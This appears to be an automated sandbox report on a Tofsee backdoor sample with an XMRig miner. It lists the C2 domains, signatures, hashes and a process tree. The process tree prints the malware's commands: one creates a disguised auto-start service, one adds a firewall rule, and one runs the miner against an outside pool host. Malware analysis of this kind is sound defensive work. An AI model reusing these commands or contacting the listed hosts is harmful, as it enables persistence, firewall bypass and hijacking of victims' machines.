Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    25/10/2022, 15:23

General

  • Target
    file.exe
  • Size 255KB
  • Sample221025-ssftwsdaf2
  • SHA256 ee80f7cd287a59f642c511f0d843b5dfa6b0b9ee8cdb6cf5506c53b9fa4c384a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kzykqrxa\
      2⤵
        PID:936
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe" C:\Windows\SysWOW64\kzykqrxa\
        2⤵
          PID:828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kzykqrxa binPath= "C:\Windows\SysWOW64\kzykqrxa\ntgbuboj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kzykqrxa "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kzykqrxa
          2⤵
          • Launches sc.exe
          PID:1716
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1704
      • C:\Windows\SysWOW64\kzykqrxa\ntgbuboj.exe
        C:\Windows\SysWOW64\kzykqrxa\ntgbuboj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:788
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:332

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ntgbuboj.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe
            • Size 11.1MB
            • SHA256 4337f85733dce978e5d5cf2257820ffdd115f9377c240858ebd9fd089cb3c6b4
            • MD5 SHA1 SHA512 SSDEEP

            ntgbuboj.exe

            • Path C:\Windows\SysWOW64\kzykqrxa\ntgbuboj.exe
            • Size 11.1MB
            • SHA256 4337f85733dce978e5d5cf2257820ffdd115f9377c240858ebd9fd089cb3c6b4
            • MD5 SHA1 SHA512 SSDEEP

            memory/332-103-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/332-101-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/788-80-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/788-76-0x0000000002DB8000-0x0000000002DCE000-memory.dmp

            memory/788-66-0x0000000002DB8000-0x0000000002DCE000-memory.dmp

            memory/1072-88-0x0000000000120000-0x0000000000130000-memory.dmp

            memory/1072-82-0x00000000019E0000-0x0000000001BEF000-memory.dmp

            memory/1072-100-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1072-97-0x00000000004E0000-0x00000000004E7000-memory.dmp

            memory/1072-94-0x00000000054F0000-0x00000000058FB000-memory.dmp

            memory/1072-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1072-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1072-91-0x00000000001F0000-0x00000000001F5000-memory.dmp

            memory/1072-85-0x0000000000110000-0x0000000000116000-memory.dmp

            memory/1072-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1600-59-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/1600-54-0x0000000002D98000-0x0000000002DAE000-memory.dmp

            memory/1600-69-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/1600-68-0x0000000002D98000-0x0000000002DAE000-memory.dmp

            memory/1600-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1600-57-0x0000000002D98000-0x0000000002DAE000-memory.dmp

            memory/1600-55-0x0000000076461000-0x0000000076463000-memory.dmp